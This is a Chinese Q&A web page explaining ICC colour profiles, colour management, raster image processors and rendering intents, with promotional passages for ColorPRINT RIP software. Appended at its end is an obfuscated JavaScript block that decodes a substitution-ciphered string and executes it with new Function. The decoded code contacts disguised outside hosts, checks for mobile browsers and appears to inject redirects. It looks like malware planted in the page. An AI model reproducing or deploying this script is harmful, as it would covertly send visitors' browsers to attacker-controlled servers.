下列哪些文件格式能在保存文件时嵌入符合ICC规范的配置文件?
下列哪些文件格式能在保存文件时嵌入符合ICC规范的配置文件?
推荐回答(1个)
1.ICC Profile产生的缘由?
这主要是由于颜色的固有属性决定的。版面在某一桌面出版软件中制作完毕时,颜色经历不少历程: 输入、显示、输出三大类设备表现颜色的方式与特性各不尽相同,它们三类设备的色空间是逐步减小的。
2.ICC是什么?
ICC:International Color Consortium的简称。1993年,来自世界各地的硬件制造商、软件开发商、印刷商,如:Adobe、Agfa-Gevaert N.V.、Apple Computer Inc. 、Eastman Kodak Company、 FOGRA (Honorary)、Microsoft Corporation、Silicon Graphics,Inc.、 Sun Microsystems, Inc.、Taligent Inc. (resigned)等超过50家公司聚集一堂,组成了国际色彩联盟(ICC),研究形成了ICC Profile格式规范,使得色彩管理由原来的封闭圈转变到开放式的跨平台的色彩管理系统,由原来仅凭经验转变到了数字化,简单化。
3.ICC Profile是什么?
Profile:英文的译意是剖面、侧面、外形、轮廓。在色彩学中可引申为颜色特性描述文件,对于某种设备而言,也可称为配置描述文件,主要描述该设备的颜色特性,可为颜色管理模式(CMM Color Management Model)提供必要的颜色转换信息。ICC profile是一种描述设备色彩特性的数据文件,包含了两部分:一、对设备和设备的设置描述的文本;二、有关颜色转换的数据。这些数据是表明如何转换即将显示或输出的颜色。所以ICC profile据设备的类型不一样,可分为三种:输入ICC profile,显示ICC profile,输出ICC profile。它主要是用于在各种设备之间保持颜色传递的一致性。它与其它颜色特性文件的主要区别在于它是按照ICC标准格式写成的,是开放式的。现在有的软件完全用自己的经验值做成一个特性文件,这只限于一个十分封闭的范围,不易在设备与设备之间进行交流,且由于是经验值建立,这个特性文件并非是这种设备的本身所固有的特性,一旦外围环境条件有一点变化,这个特性文件就是不成立的。
4.ICC Profile的特点?
一、ICC Profile是一种数据文件,描述着颜色转换的最必需的信息,记录了设备颜色空间与CIE颜色空间之间的关系。它是被CMM操作的对象,也是色彩管理系统CMS(Color Management System)的核心部分。这是它的实质,也是它最基本的特点。
二、由于ICC Profile是按照ICC于1995年发表的特性文件格式规范写成的,所以,ICC Profile 是一种标准,是开放式的且跨平台的,为各种各样的设备之间的颜色交流提供了一种标准语言。
三、ICC Profile 之所以成为一种标准,最关键的是因为它运用了公共色空间(PCS,与设备无关的色空间)作为中介进行颜色转换。这是它最主要的特点。因此,使用它能保证颜色进行与设备无关式的转换,从而实现它的最大优点——开放式的,而成为一种标准。
色彩管理系统是指能够实现设备色彩校准、建立色彩描述文件、并在全部信息处理过程中实现各种设备间色彩转换的相关软硬件系统。色彩管理系统的实质是在不同的色空间之间进行转换,保证同一画面的色彩达到和谐一致。整个过程可描述为:
a、对输入、显示、输出设备用标准参照物进行色彩校准。
b、建立设备颜色特性文件(Profile)。
c、在色彩传输时以颜色特性文件进行色彩转换,实现色彩匹配。
由ICC提出的CMS有三个基本的组成部分: 特性文件(Profiles),特性文件相关空间(Profile Connection Space),颜色管理模式(Color Management Modules)。这三者的关系是在对象色空间向目标色空间进行转换时,CMM对对象特性文件进行取数据操作并处理,将对象色空间转换为特性文件相关色空间(PCS);再将PCS根据目标特性文件提供的数据转换成目标色空间,从而实现了颜色复制的一致性,达到了色彩管理的目的。色彩管理的问题其实就是色空间的转换问题。只有正确的建立ICC Profile文件,才能正确地进行色空间的转换,才能正确地进行色彩复制。
在ColorPRINT中,根据原稿的色空间的不同,输入ICC Profile分为三种:CMYK,RGB,灰度。所以在使用时,可据原稿的色空间来选择输入ICC Profile,如果原稿是一印刷品的话,即可选择CMYK中的ICC Profile。输出ICC Profile可以据之前的设置自动选择,还可以据ICC Profile的文件名选择合适的ICC Profile。ColorPRINT中的ICC Profile文件名包含有打印机机型、墨水色数、介质类型、打印分辨率、墨水类型及作者的个性描写等信息。所以使用者在确定自己的打印机机型,纸张和墨水就可以很轻松地选择正确的ICC Profile。
所以ColorPRINT不仅为用户提供了优秀的ICC Profile,还提供了简便的使用方法,使色彩控制更容易,更准确,在颜色管理上ColorPRINT领先于同类产品。
5.RIP的介绍?
RIP:(Raster Image Processor)图像光栅处理器。顾名思义,RIP就是将图像光栅化。光栅就是将图像、图形、文字处理成很多个点的信息,并控制其输出,在人们的视觉上看到的是一个连续完整的版面(而事实非也)。RIP有硬件与软件之分。由于硬件RIP造价高,更新慢,笨重不易传输等一系列的致命缺点和软件RIP的速度不断增加,软件RIP已经在图像输出行业中独占鳌头了。
在大幅面打印中,RIP的过程就是将您需要输出的版面向大幅面打印机解释并驱动打印机输出的过程。大幅面打印机最终从RIP得到的是向介质上与图像相对应的地方喷不喷,喷多少个墨点,喷什么颜色的墨的所有的信息。在此过程中所有对图像的一切操作(如:旋转、缩放、镜像、拼贴等)都必须经过RIP翻译给大幅面打印机。
据以上的解释,RIP牵涉到的是:
一、墨点扩散算法,解决组成图像的各个点的分布问题
二、对图像旋转、缩放、镜像、拼贴等操作的算法;
三、驱动打印机输出
RIP性能的好坏决定于以下几个方面:
一、速度 :在大幅面打印输出中速度就是时间,就是利润。谁得到速度,谁就得到市场的先机。RIP的速度就是对图像的解释速度。在选购时可据自己的打印情况问一下输出一个固定兆数和大小的图像需要多少时间。
二、是否支持PostScript :因为PostScript页面描述语言已经成为桌面出版系统中通用语言,各种桌面系统软件都以此为标准。是否支持Postscript直接关系到RIP是否能解释正确而可靠地各种软件制作的版面。
三、颜色 :颜色的再现一个版面的精确输出是至关重要的。现在,颜色管理再也不能仅凭经验做了,是否支持ICC直接关系到RIP是否能进行正确的颜色输出。所以一个好的RIP软件应该具备ICC PROFILE。
三、质量 :图像输出的质量包括图像层次的再现,颜色的再现。如果颜色管理用ICC标准就可以达到一个好的效果,所以这里图像输出质量主要是针对层次的再现。大幅面打印中层次的再现是指墨点的排列方式,好的排列可以使图像层次再现得非常细腻,细节非常清晰,高光不丢点,暗调处不糊,中间调真实。而排列方式是RIP算法所决定的。因此好的RIP软件可以再现出非常好的细节,各个阶调都相得益彰,使得整个画面活了。
由以上所述,可以得到一个结论:一个优质的RIP软件是可以将图像输出到一个最佳的视觉效果,可以充分发挥设备的功效,不用更新设备即可达到满意的结果。
ColorPRINT是一个十分专业且优质的大幅面打印RIP软件,它采用微软最新的.NET作为软件开发平台,实现我们精心打造的最迅速的RIP算法,使得ColorPRINT相对同类产品有着自己独特的优势:
一、ColorPRINT符合PostScript标准,支持对Adobe PostScript 3.0的文件解释,支持对各种软件制作出来的版面,且输出稳定。尤其是对矢量图形和点阵图像都具备的版面提供不同的色空间转换类型,既保证了矢量图形的颜色正确性,又保证了点阵图像的颜色饱和。
二、ColorPRINT采用了抖动扩散方式,分为随机扩散和误差扩散两种可选项,您可根据图像的不同类型选择,随机扩散在RIP时速度大于误差扩散,而误差扩散表现图像很细腻。一般常用随机扩散,因为速度快,效果较好。除非您需要输出特别细致的图像有特殊用途即可用误差扩散。这两种扩散方式是描述墨点的排列状态。随机扩散是指墨点的排列是随机的,而误差扩散是墨点以某一误差按一定规律排列。
三、在颜色管理方面,ColorPRINT运用ICC PROFILE简单轻易地对颜色进行精确的复制,有着自己专有的制作PROFILE的软件,为各种不同机型、墨水、介质的组合量身定做以达到最优质的颜色。为各种不同的复制对象类型提供了四种色空间转换类型:像图感知式,色彩饱和式,相对色度式以及绝对色度式,为点阵、矢量、文字等分别提供不同的转换方式保证了颜色复制的准确性。
四、在速度方面ColorPRINT运用最先进的算法,使RIP速度快之又快。
五、在拼版方面,ColorPRINT提供十分灵活的省料排版功能,满足用户的小图放大输出,超大图分割输出,多份拷贝,批量输出的要求。ColorPRINT提供三种插值方式(双三次,二次,最邻近)使小图放大输出从此告别锯齿和毛边的时代;超大图分割可以随心所欲;支持无人职守。ColorPRINT重视人性化设计,有着可靠而高效的生产模式。
6.什么是色空间转换类型?
色空间转换类型实质上是转换色空间的原则,按照这个原则安排整个色空间的转换运算。即对色空间压缩时对某一颜色的色相、饱和度、亮度或是颜色与颜色之间的关系(图像的整体阶调)进行取舍的方案。
色空间转换类型是根据原稿的不同和还原的作用而分类的。
图像感知式(Perceptual):当原图的一个颜色或多个颜色在目标转换色空间之外时,将整个源色空间等比例地压缩到目标色空间。这种方式主要是保持颜色之间视觉上的关系,使得图像用人眼看起来是自然的,压缩整体色空间,转换所有颜色,包括在目标色空间之内的。这种方式保证了灰平衡或者说保证了图像的整体阶调,而色度的还原精确度就可能不被保证,因而有可能影响图像的整体对比度。主要用于普通图像(image)的复制,如照片等。对象是彩色图像(Color Images),转换的标准完全是靠人眼的感觉,只要整体看来可以接受即可,对于色度可以不必绝对匹配。
颜色饱和式(Saturation):颜色在转换时尽可能地保持颜色的饱和度。一般用于复制商业图形,即保证颜色的生动性。用饱和式的转换可以使最终输出的图像颜色生动饱和,鲜艳夺目。因为用饱和式主要是在进行色空间转换时保持了颜色的饱和度,即使转换的颜色饱和度相等,而色度的准确可能会被牺牲(尤其是当向较小的色空间转换时)。这种方式主要用在具有商业色彩的图形(graphic)等。
色度式转换(Colorimetric):一般用于打样或颜色要求特别准确的时候,如还原LOGO时,即需要颜色相对准确。在转换时,落在目标色空间之外的颜色将被转换成在目标色空间内的最近的可能颜色,而落在目标色空间之内的颜色保持不变。只有在目标色空间之外的颜色发生变化。 相对色度式(Relative Colorimetric) 先将源色空间的介质白点转换到目标色空间的介质白色再相应地进行颜色转换。 绝对色度式(Absolute Colorimetric) 先将实际光源白点映射到目标色空间的光源白点,再相应地转换颜色。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();